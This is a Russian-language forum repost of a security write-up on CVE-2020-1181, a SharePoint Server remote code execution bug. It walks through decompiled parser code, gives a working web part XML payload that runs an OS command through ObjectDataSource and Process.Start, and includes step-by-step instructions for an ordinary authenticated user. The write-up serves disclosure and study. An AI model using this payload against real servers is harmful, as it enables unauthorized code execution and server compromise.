Гостевая статья CVE-2020-1181: удаленное выполнение кода SHAREPOINT через веб-часть

На прошлой неделе Microsoft выпустила исправление для исправления - ошибка удаленного выполнения кода в поддерживаемых версиях Microsoft SharePoint Server. Эта ошибка была сообщена программе анонимным исследователем и также известна как . В этом блоге более подробно рассматривается первопричина этой уязвимости.
До того, как это исправление стало доступным, SharePoint Server разрешил аутентифицированному пользователю выполнять произвольный код .NET на сервере в контексте и разрешениях учетной записи службы веб-приложения SharePoint. Чтобы атака была успешной, злоумышленник должен иметь разрешения на добавление и настройку страниц на сайте SharePoint. Однако стандартная конфигурация SharePoint позволяет аутентифицированным пользователям создавать сайты. Когда они это сделают, пользователь будет владельцем этого сайта и будет иметь все необходимые разрешения.

Описание высокого уровня уязвимости

Microsoft SharePoint Server позволяет пользователям создавать веб-страницы, но для предотвращения злоупотреблений устанавливает строгие ограничения на то, какие компоненты могут отображаться на этих страницах. Сервер SharePoint обрабатывает свои «собственные» страницы и пользовательские страницы по-разному. «Собственные» страницы SharePoint хранятся в файловой системе и исключены из всех ограничений. Пользовательские страницы хранятся в базе данных и подлежат ограничениям. Некоторые из этих ограничений включают невозможность использовать блоки кода или включать файлы из файловой системы. Как правило, они могут использовать только разрешенные веб-элементы управления из предварительно определенного списка.
Если пользователь создает новую страницу с помощью загрузки, она будет ограничена как обычно. Однако, если вместо этого создается новая страница с помощью веб-редактора SharePoint, она будет считаться «скрытой» и рассматриваться как надежный источник. Это имеет смысл, поскольку веб-редактор SharePoint накладывает ограничения на то, какие компоненты могут быть добавлены на страницу, поэтому страница может безопасно работать в неограниченном режиме.
Уязвимость возникает из-за того, что один тип веб-части, разрешенный редактором, называется типом WikiContentWebpart, и эта веб-часть позволяет включать произвольную разметку ASP.NET. Это обеспечивает злоумышленнику возможность произвольной разметки ASP.NET в неограниченном режиме, что приводит к удаленному выполнению кода.

Изучение уязвимого кода

SharePoint использует SPPageParserFilter для блокировки всего опасного контента. Давайте рассмотрим, как SPPageParserFilter инициализируется:

Код:
// Microsoft.SharePoint.ApplicationRuntime.SPPageParserFilter
protected override void Initialize()
{
    if (!SPRequestModule.IsExcludedPath(base.VirtualPath, false))
    {
        this._pageParserSettings = SPVirtualFile.GetEffectivePageParserSettings(base.VirtualPath, out this._safeControls, out this._cacheKey, out this._isAppWeb);
        this._safeModeDefaults = SafeModeSettings.SafeModeDefaults;
        return;
    }
/* ... */
}
// Microsoft.SharePoint.ApplicationRuntime.SPVirtualFile
internal static PageParserSettings GetEffectivePageParserSettings(string virtualPath, out SafeControls safeControls, out string cacheKeyParam, out bool isAppWeb)
{
    HttpContext current = HttpContext.Current;
    SPRequestModuleData requestData = SPVirtualFile.GetRequestData(current, virtualPath, true, true);
    SPVirtualFile webPartPageData = requestData.GetWebPartPageData(current, virtualPath, true);
    return webPartPageData.GetEffectivePageParserSettings(current, requestData, out safeControls, out cacheKeyParam, out isAppWeb);
}
// Microsoft.SharePoint.ApplicationRuntime.SPDatabaseFile
internal override PageParserSettings GetEffectivePageParserSettings(HttpContext context, SPRequestModuleData basicRequestData, out SafeControls safeControls, out string cacheKeyParam, out bool isAppWeb)
{
    PageParserSettings pageParserSettings = this.PageParserSettings;
    isAppWeb = this._isAppWeb;
    safeControls = null;
    cacheKeyParam = null;
    if (pageParserSettings == null)
    {
        if (this.IsGhosted)
        {
            bool treatAsUnghosted = this.GetTreatAsUnghosted(context, basicRequestData, this.GetDirectDependencies(context, basicRequestData));
            if (!treatAsUnghosted)
            {
                treatAsUnghosted = this.GetTreatAsUnghosted(context, basicRequestData, this.GetChildDependencies(context, basicRequestData));
            }
            if (treatAsUnghosted)
            {
                pageParserSettings = PageParserSettings.DefaultSettings;
            }
            else if (this._isAppWeb)
            {
                pageParserSettings = PageParserSettings.GhostedAppWebPageDefaultSettings;
            }
            else
            {
                pageParserSettings = PageParserSettings.GhostedPageDefaultSettings;
            }
        }
        else
        {
            pageParserSettings = PageParserSettings.DefaultSettings;
        }
    }
    if (!pageParserSettings.AllowUnsafeControls)
    {
        safeControls = this.SafeControls;
    }
    cacheKeyParam = this.GetVirtualPathProviderCacheKey(context, basicRequestData);
    return pageParserSettings;

}

Если мы создали нашу страницу с помощью веб-редактора SharePoint, она будет иметь IsGhosted = trueи _isAppWebбудет установлена на false. Обратите внимание, что существует дополнительная проверка, чтобы убедиться, что нет файла зависимостей с более низким уровнем доверия:

Код:
// Microsoft.SharePoint.ApplicationRuntime.SPDatabaseFile
private bool GetTreatAsUnghosted(HttpContext context, SPRequestModuleData requestData, System.Collections.ICollection dependencyVirtualPaths)
{
    bool result = false;
    foreach (string path in dependencyVirtualPaths)
    {
        SPDatabaseFile sPDatabaseFile = requestData.GetWebPartPageData(context, path, true) as SPDatabaseFile;
        if (sPDatabaseFile != null && !sPDatabaseFile.IsGhosted && (sPDatabaseFile.PageParserSettings == null || sPDatabaseFile.PageParserSettings.CompilationMode != CompilationMode.Always))
        {
            result = true;
            break;
        }
    }
    return result;
}

Тем не менее, мы не добавили ни одного такого файла, поэтому мы должны быть хороши здесь и пройти эту проверку. В результате GetEffectivePageParserSettings() вернется PageParserSettings.GhostedPageDefaultSettings:

Код:
// Microsoft.SharePoint.ApplicationRuntime.PageParserSettings
internal static PageParserSettings GhostedPageDefaultSettings
{
    get
    {
        if (PageParserSettings.s_ghostedPageDefaultSettings == null)
        {
            PageParserSettings.s_ghostedPageDefaultSettings = new PageParserSettings(CompilationMode.Always, true, true);
        }
        return PageParserSettings.s_ghostedPageDefaultSettings;
    }
}
// Microsoft.SharePoint.ApplicationRuntime.PageParserSettings
internal PageParserSettings(CompilationMode compilationmode, bool allowServerSideScript, bool allowUnsafeControls)
{
    this.m_compilationMode = compilationmode;
    this.m_allowServerSideScript = allowServerSideScript;
    this.m_allowUnsafeControls = allowUnsafeControls;

}

В результате, наша страница будет иметь compilationmode=Always, allowServerSideScript=true и allowUnsafeControls=true. Теперь давайте подробнее рассмотрим WikiContentWebpart:

Код:
// Microsoft.SharePoint.WebPartPages.WikiContentWebpart
protected override void CreateChildControls()
{
    if (!this.Visible || this.Page == null)
    {
        return;
    }
    if (this.Page.AppRelativeVirtualPath == null)
    {
        this.Page.AppRelativeVirtualPath = "~/current.aspx";
    }
    Control obj = this.Page.ParseControl(this.Directive + this.Content, false);
    this.AddParsedSubObject(obj);
}


Это означает, что содержимое из его параметров ( Directiveи Content) будет проанализировано ParseControl(text2, false). Второй параметр ( false) будет принудительно использовать PageParserFilter, но он будет использоваться с PageParserSettings.GhostedPageDefaultSettings.

Поскольку ParseControl() метод никогда не вызывает компиляцию, мы не можем указать код .NET напрямую. Тем не менее, мы можем использовать опасные элементы управления из SharePoint для вызова произвольных методов и выполнения кода. Вот пример конфигурации, WikiContentWebpart которая будет запускать произвольную команду ОС:

Код:
<?xml version="1.0" encoding="utf-8"?>
<WebPart xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/WebPart/v2">
  <Title>Wiki Content Web Part RCE</Title>
  <Description>Executes Arbitrary Code on SharePoint Server</Description>
  <IsIncluded>true</IsIncluded>
  <Assembly>Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c</Assembly>
  <TypeName>Microsoft.SharePoint.WebPartPages.WikiContentWebpart</TypeName>
  <Content><![CDATA[
<asp:ObjectDataSource ID="ObjectDataSource1" runat="server" SelectMethod="Start"
   TypeName="system.diagnostics.process" >
     <SelectParameters>
        <asp:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="cmd"/>
        <asp:Parameter Direction="input" Type="string" Name="arguments" DefaultValue="/c echo pwned &gt; c:/windows/temp/RCE_PoC.txt"/>
     </SelectParameters>
</asp:ObjectDataSource>
<asp:ListBox ID="ListBox1" runat="server" DataSourceID = "ObjectDataSource1" ></asp:ListBox>                  
End]]></Content>
</WebPart>


Проверка концепции

Для демонстрации мы использовали сервер Microsoft SharePoint 2019 со всеми параметрами по умолчанию, установленными в системе выпуска Windows Server 2019 Datacenter. Мы присвоили ему имя sp2019.contoso.lab и сделали его членом домена contoso.lab. Наш контроллер домена находится на отдельной виртуальной машине. На нашей целевой машине были установлены все доступные исправления по состоянию на февраль 2020 года, что соответствует версии 16.0.10355.20000.

Нашей атакующей системе просто необходим любой поддерживаемый веб-браузер. На скриншотах ниже мы используем Mozilla Firefox 69.0.3. Мы также будем использовать кастом, WikiContentWebpartпохожий на пример выше. Мы назвали наш WikiContentRCE.xml .

Давайте посетим наш SharePoint Server и пройдем аутентификацию как обычный пользователь. В этом примере это user2 :

Picture1.png


Picture2.png



Давайте создадим сайт, чтобы мы были его владельцем и имели полные права.

Нажмите « SharePoint » на верхней панели:

Picture3.png


Нажмите на ссылку « + Создать сайт » :
Посмотреть в натуральную величину

Picture4.png


Выберите сайт команды . Теперь нам нужно выбрать имя для нового сайта. В этом примере это testsiteofuser2 .

Picture5.png


Нажмите « Готово », и новый сайт будет создан:

Picture6.png


Теперь давайте перейдем по ссылке « Страницы» :

Picture7.png


Нам нужно переключиться на классический вид . Для этого просто нажмите на ссылку « Вернуться к классической SharePoint » в левом нижнем углу:

Picture8.png


Нажмите « + Новый » и выберите любое имя для нашей новой страницы. В этом примере мы назвали его newpage1 :
Picture9.png


Нажмите на кнопку Создать , чтобы подтвердить.

Picture10.png


Теперь нам нужно выбрать веб-часть на вкладке INSERT :

Picture11.png


В диалоговом окне выберите ссылку « Загрузить веб-часть » в левом нижнем углу и загрузите созданный файл WikiContentRCE.xml :

Picture12.png


Нажмите Загрузить . Может появиться всплывающее предупреждение о том, что «на этой странице вас просят подтвердить, что вы хотите выйти - введенные вами данные могут быть не сохранены ». Просто подтвердите, нажав на кнопку « Покинуть страницу ». Затем мы вернемся к основному виду редактирования:
Посмотреть в натуральную величину

Picture13.png


Нам нужно снова выбрать виджет веб-части на вкладке INSERT . Он будет иметь нашу импортированную созданную веб-часть:

Picture14.png


Прежде чем мы нажмем кнопку « Добавить» , давайте перейдем на целевой сервер SharePoint и откроем папку C: \ windows \ temp :

Picture15.png



Обратите внимание, что файл RCE_PoC.txt отсутствует .

Теперь вернемся к компьютеру-атакующему и добавим нашу импортированную веб-часть на страницу:

Picture16.png


Давайте еще раз проверим папку C: \ windows \ temp на нашем целевом сервере:

Picture17.png



Таким образом, наш злоумышленник может выполнить любую команду ОС и скомпрометировать сервер. Им просто нужно заменить echo pwned > c:/windows/temp/RCE_PoC.txtстроку в файле WikiContentRCE.xml желаемой командой.

Вывод

В своей документации по исправлениям Microsoft присвоила этой уязвимости рейтинг индекса уязвимости (XI), равный 2, что означает, что они считают, что использование этой ошибки маловероятно. Однако, как показано в нашем разделе «Подтверждение концепции», использование этой ошибки довольно просто для любого аутентифицированного пользователя. Из-за этого мы рекомендуем рассматривать как XI 1, что указывает на вероятность эксплуатации. По словам Microsoft, они исправили эту ошибку, «исправляя то, как Microsoft SharePoint Server обрабатывает созданный контент». Это кажется разумным путем в этом случае. SharePoint по-прежнему остается привлекательной целью как для исследователей, так и для злоумышленников, и в настоящее время мы несколько раскрытий, связанных с SharePoint очередь. Следите за новостями об этом блоге, как только они будут обнаружены.
До тех пор следите за чтобы узнать о новейших методах эксплойтов и исправлениях безопасности

Источник:
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!